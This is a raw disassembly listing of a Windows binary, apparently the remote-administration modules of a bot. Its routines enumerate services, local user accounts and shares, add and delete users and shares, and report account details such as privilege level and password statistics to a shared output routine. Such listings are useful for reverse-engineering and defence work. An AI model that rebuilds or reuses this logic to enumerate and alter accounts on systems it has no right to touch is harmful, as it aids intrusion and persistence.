push offset aStoping ; " Stoping"
jmp short loc_40DA83
; ---------------------------------------------------------------------------
loc_40DA77: ; CODE XREF: sub_40D9B2+8Aj
push offset aStarting ; " Starting"
jmp short loc_40DA83
; ---------------------------------------------------------------------------
loc_40DA7E: ; CODE XREF: sub_40D9B2+87j
push offset aStopped ; " Stopped"
loc_40DA83: ; CODE XREF: sub_40D9B2+A0j
; sub_40D9B2+A7j ...
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+Dest]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+var_38C]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_40DA35
loc_40DACF: ; CODE XREF: sub_40D9B2+77j
cmp [ebp+var_8], ebx
jnz loc_40D9EA
loc_40DAD8: ; CODE XREF: sub_40D9B2+6Cj
push [ebp+var_C]
call ds:dword_43C51C ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_40D9B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40DAEF(int,char *Str,int)
sub_40DAEF proc near ; CODE XREF: sub_40EE51:loc_410FA2p
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+Str]
test edi, edi
jz loc_40DB88
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_40DB18
dec eax
jnz short loc_40DB68
push edi
push 0
call sub_40DCC1
pop ecx
pop ecx
jmp short loc_40DB64
; ---------------------------------------------------------------------------
loc_40DB18: ; CODE XREF: sub_40DAEF+18j
cmp [ebp+arg_8], 0
jnz short loc_40DB56
push 24h ; Val
push edi ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jnz short loc_40DB56
push 57h
pop eax
loc_40DB2F: ; CODE XREF: sub_40DAEF+77j
push eax
call sub_40E499
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset byte_440CE4
push ds:off_42D7A0[eax*4]
push offset dword_42DE98 ; Format
push esi ; Dest
call _sprintf
add esp, 18h
jmp short loc_40DBA8
; ---------------------------------------------------------------------------
loc_40DB56: ; CODE XREF: sub_40DAEF+2Dj
; sub_40DAEF+3Bj
push [ebp+arg_8] ; int
push edi ; Str
push 0 ; int
call sub_40DC15
add esp, 0Ch
loc_40DB64: ; CODE XREF: sub_40DAEF+27j
test eax, eax
jnz short loc_40DB2F
loc_40DB68: ; CODE XREF: sub_40DAEF+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset byte_440CE4
push ds:off_42D7A4[eax*4]
push offset dword_42DE6C ; Format
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_40DBA8
; ---------------------------------------------------------------------------
loc_40DB88: ; CODE XREF: sub_40DAEF+Aj
mov eax, [ebp+arg_0]
mov esi, offset byte_440CE4
lea eax, [eax+eax*2]
push ds:off_42D7A0[eax*4]
push offset dword_42DE38 ; Format
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_40DBA8: ; CODE XREF: sub_40DAEF+65j
; sub_40DAEF+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_40DAEF endp
; =============== S U B R O U T I N E =======================================
sub_40DBAE proc near ; CODE XREF: sub_415F77+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_40DBBB
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40DBBB: ; CODE XREF: sub_40DBAE+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, ds:dword_423150
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test ds:byte_440EE4, 1
mov ebp, eax
jnz short loc_40DBF8
or ds:byte_440EE4, 1
lea eax, [ebp+1]
push eax ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov ds:dword_440C84, eax
loc_40DBF8: ; CODE XREF: sub_40DBAE+32j
push esi
push esi
push ebp
push ds:dword_440C84
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, ds:dword_440C84
pop edi
pop ebp
pop ebx
pop esi
retn
sub_40DBAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40DC15(int,char *Str,int)
sub_40DC15 proc near ; CODE XREF: sub_40DAEF+6Dp
; sub_41629B+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_40DC80
push [ebp+Str]
mov edi, eax
call sub_40DC80
push 24h ; Val
mov [ebp+var_20], eax
push [ebp+Str] ; Str
call _strchr
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_40DC80
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call ds:dword_43C518
pop edi
leave
retn
sub_40DC15 endp
; =============== S U B R O U T I N E =======================================
sub_40DC80 proc near ; CODE XREF: sub_40DC15+Ap
; sub_40DC15+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_40DC8D
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40DC8D: ; CODE XREF: sub_40DC80+9j
push ebx
push esi
mov esi, ds:dword_42306C
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_40DC80 endp
; =============== S U B R O U T I N E =======================================
sub_40DCC1 proc near ; CODE XREF: sub_40DAEF+20p
; sub_415F77+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40DC80
push [esp+8+arg_4]
mov esi, eax
call sub_40DC80
pop ecx
pop ecx
push 0
push eax
push esi
call ds:dword_43C4F0
pop esi
retn
sub_40DCC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40DCE4(int,char *Str,int,int)
sub_40DCE4 proc near ; CODE XREF: sub_40EE51+217Dp
Dest = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_40DC80
xor esi, esi
mov [ebp+var_C], eax
push esi ; int
mov [ebp+arg_C], esi
push [ebp+arg_8] ; int
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 18h
loc_40DD1D: ; CODE XREF: sub_40DCE4+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call ds:dword_43C564
mov ebx, eax
cmp ebx, esi
jz short loc_40DD80
cmp ebx, 0EAh
jz short loc_40DD80
push ebx
push ebx
call sub_40E499
pop ecx
push eax
lea eax, [ebp+Dest]
push offset dword_42DEF4 ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 24h
jmp short loc_40DDED
; ---------------------------------------------------------------------------
loc_40DD80: ; CODE XREF: sub_40DCE4+5Dj
; sub_40DCE4+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_40DDE4
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_40DD8E: ; CODE XREF: sub_40DCE4+FCj
push dword ptr [esi+10h]
call ds:dword_43C50C ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_40DDA5
mov eax, offset aNo ; "No"
loc_40DDA5: ; CODE XREF: sub_40DCE4+BAj
push eax
lea eax, [ebp+Dest]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_40DD8E
xor esi, esi
loc_40DDE4: ; CODE XREF: sub_40DCE4+A2j
push [ebp+var_4]
call ds:dword_43C6A8
loc_40DDED: ; CODE XREF: sub_40DCE4+9Aj
cmp ebx, 0EAh
jz loc_40DD1D
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40DCE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40DE05(int,int,int,int,char *Str,int)
sub_40DE05 proc near ; CODE XREF: sub_40EE51:loc_411044p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Str = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_40DEA9
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_40DE47
dec eax
jz short loc_40DE3C
dec eax
jnz short loc_40DE62
push [ebp+arg_14] ; int
push [ebp+Str] ; Str
push [ebp+arg_C] ; int
push ebx ; int
push edi ; int
call sub_40DF4B
add esp, 14h
jmp short loc_40DE5E
; ---------------------------------------------------------------------------
loc_40DE3C: ; CODE XREF: sub_40DE05+1Dj
push ebx
push edi
call sub_40DF2A
pop ecx
pop ecx
jmp short loc_40DE5E
; ---------------------------------------------------------------------------
loc_40DE47: ; CODE XREF: sub_40DE05+1Aj
cmp [ebp+arg_8], edi
jz short loc_40DE5B
push [ebp+arg_8]
push ebx
push edi
call sub_40DED0
add esp, 0Ch
jmp short loc_40DE5E
; ---------------------------------------------------------------------------
loc_40DE5B: ; CODE XREF: sub_40DE05+45j
push 57h
pop eax
loc_40DE5E: ; CODE XREF: sub_40DE05+35j
; sub_40DE05+40j ...
cmp eax, edi
jnz short loc_40DE82
loc_40DE62: ; CODE XREF: sub_40DE05+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset byte_440EE8
push ds:off_42D7A4[eax*4]
push offset dword_42DFD8 ; Format
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_40DEC9
; ---------------------------------------------------------------------------
loc_40DE82: ; CODE XREF: sub_40DE05+5Bj
push eax
call sub_40E499
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset byte_440EE8
push ds:off_42D7A0[eax*4]
push offset dword_42DF9C ; Format
push esi ; Dest
call _sprintf
add esp, 18h
jmp short loc_40DEC9
; ---------------------------------------------------------------------------
loc_40DEA9: ; CODE XREF: sub_40DE05+Dj
mov eax, [ebp+arg_0]
mov esi, offset byte_440EE8
lea eax, [eax+eax*2]
push ds:off_42D7A0[eax*4]
push offset dword_42DF64 ; Format
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_40DEC9: ; CODE XREF: sub_40DE05+7Bj
; sub_40DE05+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40DE05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DED0 proc near ; CODE XREF: sub_40DE05+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_40DC80
push [ebp+arg_4]
mov edi, eax
call sub_40DC80
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_40DC80
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call ds:dword_43C4FC
pop edi
leave
retn
sub_40DED0 endp
; =============== S U B R O U T I N E =======================================
sub_40DF2A proc near ; CODE XREF: sub_40DE05+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40DC80
push [esp+8+arg_4]
mov esi, eax
call sub_40DC80
pop ecx
pop ecx
push eax
push esi
call ds:dword_43C4EC
pop esi
retn
sub_40DF2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40DF4B(int,int,int,char *Str,int)
sub_40DF4B proc near ; CODE XREF: sub_40DE05+2Dp
Dest = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_40DC80
push [ebp+arg_4]
mov esi, eax
call sub_40DC80
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call ds:dword_43C670
test eax, eax
mov [ebp+arg_0], eax
jnz loc_40E2D8
mov eax, [ebp+var_4]
test eax, eax
jz loc_40E313
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+Dest]
push offset aAccountS ; "Account: %S"
push eax ; Dest
call _sprintf
mov esi, [ebp+arg_10]
mov edi, [ebp+Str]
mov ebx, [ebp+arg_8]
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+Dest]
push offset aFullNameS ; "Full Name: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+Dest]
push offset aUserCommentS ; "User Comment: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+Dest]
push offset aCommentS ; "Comment: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_40E064
dec eax
jz short loc_40E05D
dec eax
jz short loc_40E056
mov eax, offset aUnknown ; "Unknown"
jmp short loc_40E069
; ---------------------------------------------------------------------------
loc_40E056: ; CODE XREF: sub_40DF4B+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_40E069
; ---------------------------------------------------------------------------
loc_40E05D: ; CODE XREF: sub_40DF4B+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_40E069
; ---------------------------------------------------------------------------
loc_40E064: ; CODE XREF: sub_40DF4B+FCj
mov eax, offset aGuest ; "Guest"
loc_40E069: ; CODE XREF: sub_40DF4B+109j
; sub_40DF4B+110j ...
push eax
lea eax, [ebp+Dest]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+Dest]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+Dest]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+Dest]
push offset aParametersS ; "Parameters: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+Dest]
push offset aPasswordAgeD ; "Password Age: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+Dest]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+Dest]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+Dest]
push offset aLastLogonD ; "Last Logon: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+Dest]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+Dest]
push offset aLogonServerS ; "Logon Server: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+Dest]
push offset aWorkstationsS ; "Workstations: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+Dest]
push offset aCountryCodeD ; "Country Code: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+Dest]
push offset aUserSLanguageD ; "User's Language: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+Dest]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+Dest]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_40D670
add esp, 20h
pop edi
pop ebx
jmp short loc_40E304
; ---------------------------------------------------------------------------
loc_40E2D8: ; CODE XREF: sub_40DF4B+35j
push eax
lea eax, [ebp+Dest]
push offset dword_42E008 ; Format
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_10] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_8] ; int
call sub_40D670
add esp, 20h
loc_40E304: ; CODE XREF: sub_40DF4B+38Bj
cmp [ebp+var_4], 0
jz short loc_40E313
push [ebp+var_4]
call ds:dword_43C6A8
loc_40E313: ; CODE XREF: sub_40DF4B+40j
; sub_40DF4B+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_40DF4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40E319(int,char *Str,int,int)
sub_40E319 proc near ; CODE XREF: sub_40EE51+221Fp
Dest = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_40DC80
push esi ; int
mov [ebp+var_14], eax
push [ebp+arg_8] ; int
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 18h
loc_40E358: ; CODE XREF: sub_40E319+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call ds:dword_43C580
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_40E3B9
cmp eax, 0EAh
jz short loc_40E3B9
push eax
push eax
call sub_40E499
pop ecx
push eax
lea eax, [ebp+Dest]
push offset dword_42E218 ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 24h
jmp short loc_40E434
; ---------------------------------------------------------------------------
loc_40E3B9: ; CODE XREF: sub_40E319+62j
; sub_40E319+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_40E447
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_40E434
loc_40E3CB: ; CODE XREF: sub_40E319+EDj
cmp edi, esi
jz short loc_40E40A
push dword ptr [edi]
lea eax, [ebp+Dest]
push offset aS_2 ; " %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_40E3CB
jmp short loc_40E434
; ---------------------------------------------------------------------------
loc_40E40A: ; CODE XREF: sub_40E319+B4j
lea eax, [ebp+Dest]
push offset dword_42E1D4 ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 1Ch
loc_40E434: ; CODE XREF: sub_40E319+9Ej
; sub_40E319+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_40E447
push edi
call ds:dword_43C6A8
xor edi, edi
mov [ebp+var_4], edi
loc_40E447: ; CODE XREF: sub_40E319+A5j
; sub_40E319+120j
cmp [ebp+var_C], 0EAh
jz loc_40E358
cmp edi, esi
jz short loc_40E45F
push edi
call ds:dword_43C6A8
loc_40E45F: ; CODE XREF: sub_40E319+13Dj
push [ebp+var_8]
lea eax, [ebp+Dest]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40E319 endp
; =============== S U B R O U T I N E =======================================
sub_40E499 proc near ; CODE XREF: sub_40DAEF+41p
; sub_40DCE4+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_40E54B
jz loc_40E544
cmp eax, 7Bh
ja short loc_40E510
jz short loc_40E506
cmp eax, 5
jz short loc_40E4FC
cmp eax, 8
jz short loc_40E4F2
cmp eax, 32h
jz short loc_40E4E8
cmp eax, 35h
jz short loc_40E4DE
cmp eax, 57h
jnz loc_40E59A
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E4DE: ; CODE XREF: sub_40E499+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E4E8: ; CODE XREF: sub_40E499+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E4F2: ; CODE XREF: sub_40E499+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E4FC: ; CODE XREF: sub_40E499+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E506: ; CODE XREF: sub_40E499+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E510: ; CODE XREF: sub_40E499+1Aj
sub eax, 7Ch
jz short loc_40E53D
sub eax, 7C8h
jz short loc_40E536
dec eax
jz short loc_40E52C
dec eax
jnz short loc_40E59A
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E52C: ; CODE XREF: sub_40E499+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E536: ; CODE XREF: sub_40E499+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E53D: ; CODE XREF: sub_40E499+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E544: ; CODE XREF: sub_40E499+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E54B: ; CODE XREF: sub_40E499+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_40E584
jz short loc_40E57D
sub eax, 8ADh
jz short loc_40E5AF
dec eax
dec eax
jz short loc_40E576
dec eax
jz short loc_40E56F
dec eax
dec eax
jnz short loc_40E59A
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E56F: ; CODE XREF: sub_40E499+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E576: ; CODE XREF: sub_40E499+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E57D: ; CODE XREF: sub_40E499+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E584: ; CODE XREF: sub_40E499+B9j
sub eax, 8CAh
jz short loc_40E5B6
sub eax, 17h
jz short loc_40E5AF
sub eax, 25h
jz short loc_40E5A8
sub eax, 29h
jz short loc_40E5A1
loc_40E59A: ; CODE XREF: sub_40E499+35j
; sub_40E499+87j ...
push offset aAnUnknownError ; "An unknown error occurred."
jmp short loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E5A1: ; CODE XREF: sub_40E499+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_40E5BB
; ---------------------------------------------------------------------------
